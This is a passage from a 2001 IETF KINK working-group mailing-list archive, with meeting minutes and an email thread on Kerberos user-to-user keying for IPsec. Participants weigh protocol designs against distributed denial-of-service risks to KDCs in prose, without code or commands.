takes over when the first server fails. With the existing KINK draft user to user approach, the server must request the client's TGT and then obtain a service ticket targetted at the client. Sasha would like to send a new message, the wakeup message, from the server to the client to indicate to the client that it should obtain a service ticket for the server and then authenticate to the server. Thus some of the work is shifted from the server to the client thus improving scalability and performance of the server in this failover scenario. One concern that was expressed regarding Sasha's approach is that 3rd party denial of service attacks would be easy to launch and potentially difficult to track. In particular, a malicious peer could send wakeups (which are unauthenticated) to a large number of clients in order to bring down a given server(s) and also temporarily remove a KDC from service. Additionally, data would not flow earlier on the IPSEC SA. Alternative solutions include the sharing the ticket cache between the two servers, and pre-establishment of IPSEC SA's between the clients and the backup server. Sasha also raised some concerns regarding authorization data in tickets when using user-user authentication. Matt Hur and others disagreed with this line of reasoning, saying that the KDC could just as easily bind policy and authorization data for either the client or the server into the ticket. Additionally, some denial of service attacks might be mitigated if the client has an access control list which would prevent some wake up requests from being acted upon. Access control lists would not be applicable in all environments, and would only partially mitigate denial of service attacks in environments where they could be used. There was a desire to resolve this issue at the WG meeting rather than move the discussion to the WG list, but since roughly 10 people had read the draft, it was decided to move the discussion to the list and obtain consensus there. ARTIFICIAL KERBEROS IKE SA DRAFT ----------------------------------------------------------- Tero Kivinen presented his draft for KINK key management: draft-ietf-kink-ike-over-kkmp-00.txt. The draft uses a newly defined Kerberos payload to exchange the AP_REQ and AP_REP messages. At that point, the two peers share the Kerberos session key which is used to create the following shared state (corresponding to a successful phase 1 exchange): cookies, SKEYID for key material, and IV. Everything that is in IKE phase 2 can be supported: new group mode, quick mode, etc. Tero claimed that his draft is quite simple to implement. Tero has implemented IKE, and he stated that his new draft would take one day to implement. Tero also stated that any new features or improvements to phase 2 IKE could also be reflected in his work since it builds upon IKE. Tero noted that he needed to add the capability for Kerberos user-user messages. The Kerberos payload message in his draft could be used to transport KRB_TGT_REQ and KRB_TGT_REPLY messages, in order to support user to user messages. An audience member questioned the possibility of replays. Tero stated that if the SA is already valid, then they see there is duplicate SA numbers so they drop the packet immediately. When it doesn't see any traffic coming through, it doesn't do any expensive calculation. Derek pointed out that the Kerberos authenticator contains a timestamp to prevent replays. Another audience member also asked whether the Kerberos session key was big enough; the response was that the key is typed so it will be the right size for whatever crypto algorithm is being used. From owner-ietf-kink Thu Jan 4 10:36:33 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id KAA00427 for ietf-kink-bks; Thu, 4 Jan 2001 10:36:33 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA00419 for ; Thu, 4 Jan 2001 10:36:31 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id NAA25847; Thu, 4 Jan 2001 13:40:57 -0500 To: ietf-kink@vpnc.org Cc: mat@cisco.com Subject: My comments on the KINK Requirements From: Derek Atkins Date: 04 Jan 2001 13:40:57 -0500 Message-ID: Lines: 120 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Mike (and everyone), Here are my comments on the requirements draft. I've put my comments inline with your draft pieces (and I've cut out areas where I have no comments). -derek Requirements KINK must meet the following requirements at a minimum: - The protocol must use Kerberos to create session keys in a secure fashion A side effect of this is that the protocol must use the Kerberos session key as part of the generation of IPSec keys. - The protocol must be able to start up SA's regardless of any client/server disposition in the keying protocol In other words, either IPSec peer can be the initiator or responder, regardless of whether it's a Kerberos 'client' (TGT-only) or Kerberos 'server' (has a keytab). - Kerberos makes a distinction between clients and servers; IPsec does not. The protocol must allow for IPsec security associations to be initiated by both servers and clients, thus preserving IPsec's peer to peer nature. Isn't this the same thing, just said differently? - The protocol must be able to initially authenticate using either secret key, or public key authentication. - The protocol must accommodate any combination of public and secret key peers I'm not convinced we need to reference public/secret key. We just use what Kerberos provides. So, I think these two requirements can probably be rewritten to say: - The protocol must allow an initiator or a responder (or both) to authenticate with just a TGT (using Kerberos User-to-User). [snip] - The protocol must be capable of rekeying without the assistance of the KDC if the session ticket is still valid Using the phrase "Kerberos session ticket" is probably clearer. The following sections do not belong in the requirements draft: ---------begin Deliverables The working group's responsibilities are as follows: - Complete a protocol which meets the requirements outlined above - Keep all KINK working group documents moving along publication / standardization track. The list of the working group's current work items is as follows: - Define the base Kerberized Internet Negotiation of Keys protocol. Goals and Milestones Sep 2000 Consensus on requirements document Dec 2000 Review drafts at Dec IETF Jan 2001 Consensus on base draft protocol Mar 2001 WG Last call on draft Mar 2001-Jun 2001 Interoperability Bakeoffs Aug 2001 Interoperability results, decision to recycle or move for- ward Administrativa Chair(s): Derek Atkins Document Editor: TBD Internet Area Director(s): Jeffrey Schiller Marcus Leech Internet Area Advisor: TBD Mailing Lists: General Discussion: ietf-kink@vpnc.org To Subscribe: majordomo@vpnc.org In Body: in body: subscribe ietf-kink Archive: ftp:// ---------end -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Mon Jan 15 21:43:29 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id VAA10178 for ietf-kink-bks; Mon, 15 Jan 2001 21:43:29 -0800 (PST) Received: from cisco.com (nsm-mail2.cisco.com [171.71.236.25]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id VAA10174 for ; Mon, 15 Jan 2001 21:43:27 -0800 (PST) Received: from jtrostle-nt2 (jtrostle-dsl3.cisco.com [10.19.59.100]) by cisco.com (8.8.8-Cisco List Logging/8.8.8) with SMTP id VAA25692; Mon, 15 Jan 2001 21:48:25 -0800 (PST) Message-Id: <4.1.20010115213717.00c432e0@nsm-mail2> X-Sender: jtrostle@nsm-mail2 X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Mon, 15 Jan 2001 21:51:11 -0800 To: smedvinsky@gi.com From: Jonathan Trostle Subject: KINK user-user scenario Cc: jtrostle@cisco.com, ietf-kink@vpnc.org Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Sasha, Does the following approach satisfy your concern regarding the app server having to do too much work in a failover scenario? The app server sends a TGT_REP message (basically containing its TGT) to the client, and the client then takes the TGT and uses it as an additional ticket in a TGS exchange with the KDC, and then sends an AP_REQ to the app server (using user-user mode). The advantage of this approach versus the packetcable wakeup message, from a DoS perspective, is that an attacker has to actually obtain the victim's TGT which should limit these types of attacks (the attacker has to be on the wire instead of on the other side of the Internet). And the majority of the work is shifted to the client instead of the app server. Jonathan From owner-ietf-kink Tue Jan 16 06:59:11 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id GAA02658 for ietf-kink-bks; Tue, 16 Jan 2001 06:59:11 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id GAA02654 for ; Tue, 16 Jan 2001 06:59:10 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id KAA17396; Tue, 16 Jan 2001 10:04:28 -0500 To: Jonathan Trostle Cc: smedvinsky@gi.com, ietf-kink@vpnc.org Subject: Re: KINK user-user scenario References: <4.1.20010115213717.00c432e0@nsm-mail2> From: Derek Atkins Date: 16 Jan 2001 10:04:28 -0500 In-Reply-To: Jonathan Trostle's message of "Mon, 15 Jan 2001 21:51:11 -0800" Message-ID: Lines: 45 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: An attacker can still cause the app-client and KDC to do work this way. Rememeber that the client cannot read the app-server's TGT, so it had no idea whether it is valid or who really sent it. Therefore, it has to blindly build a request around the TGT and send it to the KDC, not knowing if it's valid. The KDC then needs to process the request and build and return an error to the client (assuming it was forged). Luckily this wont affect the app-server, necessarily. Do we throw out any existing SA's in the process? (I would suggest that the answer is 'no'.) I would also think that we would need to have some level of request limiting so an attacker can't repeatedly bounce tons of messages off a single app-client. However you can still get a distributed attack against the KDC, because an attacker can build a single "fake" packet and send it to all the app-clients it can find. Then all those app-clients will blindly request out to the KDC. -derek Jonathan Trostle writes: > Sasha, > > Does the following approach satisfy your concern regarding the app server > having to do too much work in a failover scenario? > > The app server sends a TGT_REP message (basically containing its TGT) to > the client, and the client then takes the TGT and uses it as an additional > ticket in a TGS exchange with the KDC, and then sends an AP_REQ to the app > server (using user-user mode). The advantage of this approach versus the > packetcable wakeup message, from a DoS perspective, is that an attacker has > to actually obtain the victim's TGT which should limit these types of > attacks (the attacker has to be on the wire instead of on the other side of > the Internet). And the majority of the work is shifted to the client > instead of the app server. > > Jonathan -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Tue Jan 16 07:47:23 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id HAA08636 for ietf-kink-bks; Tue, 16 Jan 2001 07:47:23 -0800 (PST) Received: from cisco.com (jindo.cisco.com [171.69.11.73]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA08628 for ; Tue, 16 Jan 2001 07:47:21 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by cisco.com (8.8.8/2.5.1/Cisco List Logging/8.8.8) with ESMTP id HAA11011; Tue, 16 Jan 2001 07:52:07 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id HAA23905; Tue, 16 Jan 2001 07:52:07 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14948.28199.233298.290353@thomasm-u1.cisco.com> Date: Tue, 16 Jan 2001 07:52:07 -0800 (PST) To: Derek Atkins Cc: Jonathan Trostle , smedvinsky@gi.com, ietf-kink@vpnc.org Subject: Re: KINK user-user scenario In-Reply-To: References: <4.1.20010115213717.00c432e0@nsm-mail2> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Derek Atkins writes: > Luckily this wont affect the app-server, necessarily. Do we throw out > any existing SA's in the process? (I would suggest that the answer is > 'no'.) Because of an unauthenticated request? I'd say "heavens no" :-) > I would also think that we would need to have some level of > request limiting so an attacker can't repeatedly bounce tons of > messages off a single app-client. Sure... this is true of every protocol which is subject to DoS attacks... which is every protocol, I suspect. The question I have is whether we need to be explicit here, or whether we could just point to a BCP-like document which outlines general strategies for coping with and/or narrowing DoS opportunities. > However you can still get a distributed attack against the KDC, > because an attacker can build a single "fake" packet and send it to > all the app-clients it can find. Then all those app-clients will > blindly request out to the KDC. Yes. This is the thing that really bothers me. A single well placed attacker could flood its n-B-T ethernet segment with U-U kinds of requests to high fan out gateways and slag an entire farm of KDC's. Since it's not coming from a point source, it makes it very hard to defend as well as trace back. Mike From owner-ietf-kink Tue Jan 16 15:28:36 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id PAA04329 for ietf-kink-bks; Tue, 16 Jan 2001 15:28:36 -0800 (PST) Received: from cisco.com (nsm-mail2.cisco.com [171.71.236.25]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id PAA04325 for ; Tue, 16 Jan 2001 15:28:34 -0800 (PST) Received: from jtrostle-nt2 (dhcp-128-107-141-198.cisco.com [128.107.141.198]) by cisco.com (8.8.8-Cisco List Logging/8.8.8) with SMTP id PAA11595; Tue, 16 Jan 2001 15:33:01 -0800 (PST) Message-Id: <4.1.20010116152508.00c416a0@nsm-mail2> X-Sender: jtrostle@nsm-mail2 X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Tue, 16 Jan 2001 15:35:47 -0800 To: Derek Atkins , Jonathan Trostle From: Jonathan Trostle Subject: Re: KINK user-user scenario Cc: smedvinsky@gi.com, ietf-kink@vpnc.org In-Reply-To: References: <4.1.20010115213717.00c432e0@nsm-mail2> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At 10:04 AM 1/16/01 -0500, Derek Atkins wrote: >An attacker can still cause the app-client and KDC to do work this >way. Rememeber that the client cannot read the app-server's TGT, so >it had no idea whether it is valid or who really sent it. Therefore, >it has to blindly build a request around the TGT and send it to the >KDC, not knowing if it's valid. The KDC then needs to process the >request and build and return an error to the client (assuming it was >forged). Right, but the situation isn't as bad (with respect to DoS attacks) as when using a pure wakeup approach. Of course, DoS attacks are even harder when using the approach currently specified. My thought was to find a middle ground between DoS attack concerns and having the app servers do less work. > >Luckily this wont affect the app-server, necessarily. Do we throw out >any existing SA's in the process? (I would suggest that the answer is >'no'.) I would also think that we would need to have some level of I would hope that no would be the right answer. >request limiting so an attacker can't repeatedly bounce tons of >messages off a single app-client. Makes sense. > >However you can still get a distributed attack against the KDC, >because an attacker can build a single "fake" packet and send it to >all the app-clients it can find. Then all those app-clients will >blindly request out to the KDC. True, but you can send unauthenticated messages to the KDC to do a DoS attack on a KDC. The difference is that you would have to trace from the app clients instead of the KDC, but tracing from the KDC might be easier. Jonathan > >-derek > >Jonathan Trostle writes: > >> Sasha, >> >> Does the following approach satisfy your concern regarding the app server >> having to do too much work in a failover scenario? >> >> The app server sends a TGT_REP message (basically containing its TGT) to >> the client, and the client then takes the TGT and uses it as an additional >> ticket in a TGS exchange with the KDC, and then sends an AP_REQ to the app >> server (using user-user mode). The advantage of this approach versus the >> packetcable wakeup message, from a DoS perspective, is that an attacker has >> to actually obtain the victim's TGT which should limit these types of >> attacks (the attacker has to be on the wire instead of on the other side of >> the Internet). And the majority of the work is shifted to the client >> instead of the app server. >> >> Jonathan > >-- > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > Member, MIT Student Information Processing Board (SIPB) > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > warlord@MIT.EDU PGP key available From owner-ietf-kink Wed Jan 17 08:50:34 2001 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id IAA17054 for ietf-kink-bks; Wed, 17 Jan 2001 08:50:34 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id IAA17050 for ; Wed, 17 Jan 2001 08:50:33 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id LAA01590; Wed, 17 Jan 2001 11:56:08 -0500 To: Jonathan Trostle Cc: smedvinsky@gi.com, ietf-kink@vpnc.org Subject: Re: KINK user-user scenario References: <4.1.20010115213717.00c432e0@nsm-mail2> <4.1.20010116152508.00c416a0@nsm-mail2> From: Derek Atkins Date: 17 Jan 2001 11:56:08 -0500 In-Reply-To: Jonathan Trostle's message of "Tue, 16 Jan 2001 15:35:47 -0800" Message-ID: Lines: 69 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Jonathan Trostle writes: > Right, but the situation isn't as bad (with respect to DoS attacks) as when > using a pure wakeup approach. Of course, DoS attacks are even harder when > using the approach currently specified. My thought was to find a middle > ground between DoS attack concerns and having the app servers do less work. Clearly this is a question we need to ask the Working Group at large: Should we complicate the KINK protocol in order to support an architecure where the application servers don't want to store kerberos U2U tickets? Or perhaps a better phrasing is "which is more important, more protection against DoS style attacks or supporting an architecture where application servers don't store U2U tickets?" > True, but you can send unauthenticated messages to the KDC to do a DoS > attack on a KDC. The difference is that you would have to trace from the > app clients instead of the KDC, but tracing from the KDC might be easier. The other difference is that a) the attacker needs to do more work this way (they need to build a new request every time), and b) by bouncing off an application-client, they can cause even more traffic to hit the KDC. Not to mention that by bouncing the attacks they wind up reducing the individual flows to each app-client (making it harder to trace) while still having a large aggregation at the KDC, in addition to hiding their IP Address. I guess the real question that needs to be answered (and this may have to wait until Minneapolis when we can call for a show of hands) is which goal is more important? I think we'll have to make this choice, unless someone can come up with an approach that allows the initiator to handoff the Kerberos U2U request to the recipient while retaining the DoS protection characteristics of the current protocol. I can see one approach but it adds one extra message to the protocol: App-Client App-Server KDC <--- Inititate (1) GetTGT (2) ------> <----- U2U TGT (3) TGS_REQ ---------------------> <------------------------TGS_REP AP_REQ (4)-----> <------ AP_REP (5) Basically, if the initiator (the app-server in this case) knows it wants to handoff to the responder, then in the initiate message (1) it basically just sends a message that says "I want to initiate KINK with a handoff. Here's my cookie." The responder replies (2) with "Send your TGT. Here's your cookie back." The initiator can verify the cookie (so it wont do extra work) and then the standard KINK U2U continues: (3) send TGT with cookie (to continue transaction) (4) U2U AP_REQ (5) AP_REP So basicaly we add one extra message here (#1) that is basically an "initiate handoff" message but no real work is happens until after message 3. But the only way to get to message three is if both initiator and responder agree to complete a protocol. We would also need to add a flag to the GetTGT message to say whether it's being used as an initiate or a response. So, what do people think of this proposal? -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Wed Jan 17 13:57:57 2001 Received: (from majordomo@localhost) by ns.secondary.com (8.9.3/8.9.3) id NAA02308 for ietf-kink-bks; Wed, 17 Jan 2001 13:57:57 -0800 (PST) Received: from cisco.com (nsm-mail2.cisco.com [171.71.236.25]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id NAA02303 for ; Wed, 17 Jan 2001 13:57:55 -0800 (PST) Received: from jtrostle-nt2 (dhcp-128-107-141-198.cisco.com [128.107.141.198]) by cisco.com (8.8.8-Cisco List Logging/8.8.8) with SMTP id OAA09711; Wed, 17 Jan 2001 14:03:00 -0800 (PST) Message-Id: <4.1.20010117135355.00c1ea30@nsm-mail2> X-Sender: jtrostle@nsm-mail2 X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Wed, 17 Jan 2001 14:05:47 -0800 To: Derek Atkins , Jonathan Trostle From: Jonathan Trostle Subject: Re: KINK user-user scenario Cc: smedvinsky@gi.com, ietf-kink@vpnc.org In-Reply-To: References: <4.1.20010115213717.00c432e0@nsm-mail2> <4.1.20010116152508.00c416a0@nsm-mail2> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At 11:56 AM 1/17/01 -0500, Derek Atkins wrote: >Jonathan Trostle writes: > >> Right, but the situation isn't as bad (with respect to DoS attacks) as when >> using a pure wakeup approach. Of course, DoS attacks are even harder when >> using the approach currently specified. My thought was to find a middle >> ground between DoS attack concerns and having the app servers do less work. > >Clearly this is a question we need to ask the Working Group at large: >Should we complicate the KINK protocol in order to support an >architecure where the application servers don't want to store kerberos >U2U tickets? Or perhaps a better phrasing is "which is more >important, more protection against DoS style attacks or supporting an >architecture where application servers don't store U2U tickets?" > >> True, but you can send unauthenticated messages to the KDC to do a DoS >> attack on a KDC. The difference is that you would have to trace from the >> app clients instead of the KDC, but tracing from the KDC might be easier. > >The other difference is that a) the attacker needs to do more work >this way (they need to build a new request every time), and b) by Not clear to me why the request would be different each time except for the IP address which the attacker would change for each request anyway. An attacker can easily build AS requests in advance and use these to saturate a KDC, without any help from other hosts. >bouncing off an application-client, they can cause even more traffic >to hit the KDC. Not to mention that by bouncing the attacks they wind >up reducing the individual flows to each app-client (making it harder >to trace) while still having a large aggregation at the KDC, in >addition to hiding their IP Address. > >I guess the real question that needs to be answered (and this may have >to wait until Minneapolis when we can call for a show of hands) is >which goal is more important? I think we'll have to make this choice, >unless someone can come up with an approach that allows the initiator >to handoff the Kerberos U2U request to the recipient while retaining >the DoS protection characteristics of the current protocol. > >I can see one approach but it adds one extra message to the protocol: > >App-Client App-Server KDC > <--- Inititate (1) > GetTGT (2) ------> > <----- U2U TGT (3) > TGS_REQ ---------------------> > <------------------------TGS_REP > AP_REQ (4)-----> > <------ AP_REP (5) > >Basically, if the initiator (the app-server in this case) knows it >wants to handoff to the responder, then in the initiate message (1) it >basically just sends a message that says "I want to initiate KINK with >a handoff. Here's my cookie." The responder replies (2) with "Send >your TGT. Here's your cookie back." The initiator can verify the >cookie (so it wont do extra work) and then the standard KINK U2U >continues: (3) send TGT with cookie (to continue transaction) (4) U2U >AP_REQ (5) AP_REP > >So basicaly we add one extra message here (#1) that is basically an >"initiate handoff" message but no real work is happens until after >message 3. But the only way to get to message three is if both >initiator and responder agree to complete a protocol. We would also >need to add a flag to the GetTGT message to say whether it's being >used as an initiate or a response. > >So, what do people think of this proposal? Interesting protocol, but one issue in the past has been the need to get data flowing over an SA after a minimum number of messages. Jonathan > >-derek > >-- > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > Member, MIT Student Information Processing Board (SIPB) > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > warlord@MIT.EDU PGP key available From owner-ietf-kink Thu Jan 18 07:30:10 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id HAA15550 for ietf-kink-bks; Thu, 18 Jan 2001 07:30:10 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA15537 for ; Thu, 18 Jan 2001 07:30:08 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id KAA02264; Thu, 18 Jan 2001 10:35:47 -0500 To: Jonathan Trostle Cc: smedvinsky@gi.com, ietf-kink@vpnc.org Subject: Re: KINK user-user scenario References: <4.1.20010115213717.00c432e0@nsm-mail2> <4.1.20010116152508.00c416a0@nsm-mail2> <4.1.20010117135355.00c1ea30@nsm-mail2> From: Derek Atkins Date: 18 Jan 2001 10:35:47 -0500 In-Reply-To: Jonathan Trostle's message of "Wed, 17 Jan 2001 14:05:47 -0800" Message-ID: Lines: 38 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Jonathan Trostle writes: > Not clear to me why the request would be different each time except for the > IP address which the attacker would change for each request anyway. An > attacker can easily build AS requests in advance and use these to saturate > a KDC, without any help from other hosts. The KDC keeps a replay cache. The first thing it does is check to see if it's seen the request before, and if it has, then it ignores it. This means that an attacker change the request for every message. Granted, this just implies changing one byte, but it also must change the checksum as well. A MUCH easier attack would be to generate a single "TGT" and send it off to a thousand app-clients, each of which will expend energy building a "real" message for the KDC. I've just reduced the attacker's overhead by 1000:1. The benefits of this attack are two-fold. One, it's much less work for the attacker. Two, it hides the attacker's address because there are only low-level flows to each app-client and nothing to the KDC. > Interesting protocol, but one issue in the past has been the need to get > data flowing over an SA after a minimum number of messages. This is true. However I believe that that an Initiator Handoff is a special case scenario and not something that happens very often or in very many cases. In most cases I would think that KINK would be used as a true peer-to-peer protocol. Adding one extra message to a special case scenario is not, IMHO, a showstopper. But let's see what others in the WG think. -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Thu Jan 18 07:55:28 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id HAA18630 for ietf-kink-bks; Thu, 18 Jan 2001 07:55:28 -0800 (PST) Received: from ginger.cmf.nrl.navy.mil (ginger.cmf.nrl.navy.mil [134.207.10.161]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id HAA18625 for ; Thu, 18 Jan 2001 07:55:26 -0800 (PST) Received: from cmf.nrl.navy.mil (elvis.cmf.nrl.navy.mil [134.207.10.38]) (authenticated) by ginger.cmf.nrl.navy.mil (8.10.1/8.10.1) with ESMTP id f0IG0s902662; Thu, 18 Jan 2001 11:00:54 -0500 (EST) Message-Id: <200101181600.f0IG0s902662@ginger.cmf.nrl.navy.mil> To: Derek Atkins cc: ietf-kink@vpnc.org Subject: Re: KINK user-user scenario In-reply-to: Your message of "18 Jan 2001 10:35:47 EST." X-Face: "Evs"_GpJ]],xS)b$T2#V&{KfP_i2`TlPrY$Iv9+TQ!6+`~+l)#7I)0xr1>4hfd{#0B4 WIn3jU;bql;{2Uq%zw5bF4?%F&&j8@KaT?#vBGk}u07<+6/`.F-3_GA@6Bq5gN9\+s;_d gD\SW #]iN_U0 KUmOR.P<|um5yPkEpSD@*e` Date: Thu, 18 Jan 2001 11:00:54 -0500 From: Ken Hornstein Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: >The KDC keeps a replay cache. The first thing it does is check to see >if it's seen the request before, and if it has, then it ignores it. FYI - I'm not sure that's true anymore (for example, recent MIT releases have the KDC replay cache turned off). --Ken From owner-ietf-kink Thu Jan 18 10:34:01 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id KAA28123 for ietf-kink-bks; Thu, 18 Jan 2001 10:34:01 -0800 (PST) Received: from cisco.com (nsm-mail2.cisco.com [171.71.236.25]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA28119 for ; Thu, 18 Jan 2001 10:34:00 -0800 (PST) Received: from jtrostle-nt2 (jtrostle-dsl3.cisco.com [10.19.59.100]) by cisco.com (8.8.8-Cisco List Logging/8.8.8) with SMTP id KAA29112; Thu, 18 Jan 2001 10:39:05 -0800 (PST) Message-Id: <4.1.20010118092229.00c2f150@nsm-mail2> X-Sender: jtrostle@nsm-mail2 X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Thu, 18 Jan 2001 10:41:53 -0800 To: Derek Atkins , Jonathan Trostle From: Jonathan Trostle Subject: Re: KINK user-user scenario Cc: smedvinsky@gi.com, ietf-kink@vpnc.org In-Reply-To: References: <4.1.20010115213717.00c432e0@nsm-mail2> <4.1.20010116152508.00c416a0@nsm-mail2> <4.1.20010117135355.00c1ea30@nsm-mail2> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: At 10:35 AM 1/18/01 -0500, Derek Atkins wrote: >Jonathan Trostle writes: > >> Not clear to me why the request would be different each time except for the >> IP address which the attacker would change for each request anyway. An >> attacker can easily build AS requests in advance and use these to saturate >> a KDC, without any help from other hosts. > >The KDC keeps a replay cache. The first thing it does is check to see >if it's seen the request before, and if it has, then it ignores it. >This means that an attacker change the request for every message. >Granted, this just implies changing one byte, but it also must change >the checksum as well. There is no checksum in the AS request. > >A MUCH easier attack would be to generate a single "TGT" and send it >off to a thousand app-clients, each of which will expend energy >building a "real" message for the KDC. I've just reduced the >attacker's overhead by 1000:1. The benefits of this attack are >two-fold. One, it's much less work for the attacker. Two, it hides >the attacker's address because there are only low-level flows to each >app-client and nothing to the KDC. TGT's are captured off the wire, unless the attacker wants to use his own TGT which is unlikely. So this localizes the attack to a particular principal's location and is a good place to initiate intrusion detection. Jonathan > >> Interesting protocol, but one issue in the past has been the need to get >> data flowing over an SA after a minimum number of messages. > >This is true. However I believe that that an Initiator Handoff is a >special case scenario and not something that happens very often or in >very many cases. In most cases I would think that KINK would be used >as a true peer-to-peer protocol. Adding one extra message to a >special case scenario is not, IMHO, a showstopper. But let's see what >others in the WG think. > >-derek > >-- > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > Member, MIT Student Information Processing Board (SIPB) > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > warlord@MIT.EDU PGP key available From owner-ietf-kink Thu Jan 18 10:49:59 2001 Received: by ns.secondary.com (8.9.3/8.9.3) id KAA28650 for ietf-kink-bks; Thu, 18 Jan 2001 10:49:59 -0800 (PST) Received: from rcn.ihtfp.org (me@ORANGE-TOUR.IHTFP.ORG [204.107.200.33]) by ns.secondary.com (8.9.3/8.9.3) with ESMTP id KAA28646 for ; Thu, 18 Jan 2001 10:49:58 -0800 (PST) Received: (from warlord@localhost) by rcn.ihtfp.org (8.9.3) id NAA23287; Thu, 18 Jan 2001 13:55:33 -0500 To: Jonathan Trostle Cc: smedvinsky@gi.com, ietf-kink@vpnc.org Subject: Re: KINK user-user scenario References: <4.1.20010115213717.00c432e0@nsm-mail2> <4.1.20010116152508.00c416a0@nsm-mail2> <4.1.20010117135355.00c1ea30@nsm-mail2> <4.1.20010118092229.00c2f150@nsm-mail2> From: Derek Atkins Date: 18 Jan 2001 13:55:33 -0500 In-Reply-To: Jonathan Trostle's message of "Thu, 18 Jan 2001 10:41:53 -0800" Message-ID: Lines: 32 X-Mailer: Gnus v5.5/Emacs 20.3 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Jonathan Trostle writes: > TGT's are captured off the wire, unless the attacker wants to use his own > TGT which is unlikely. So this localizes the attack to a particular > principal's location and is a good place to initiate intrusion detection. Who says an attacker needs to use a real TGT? The TGT need only look valid enough that: a) the client believes it is a TGT and forwards it to the KDC, and b) the KDC believes it 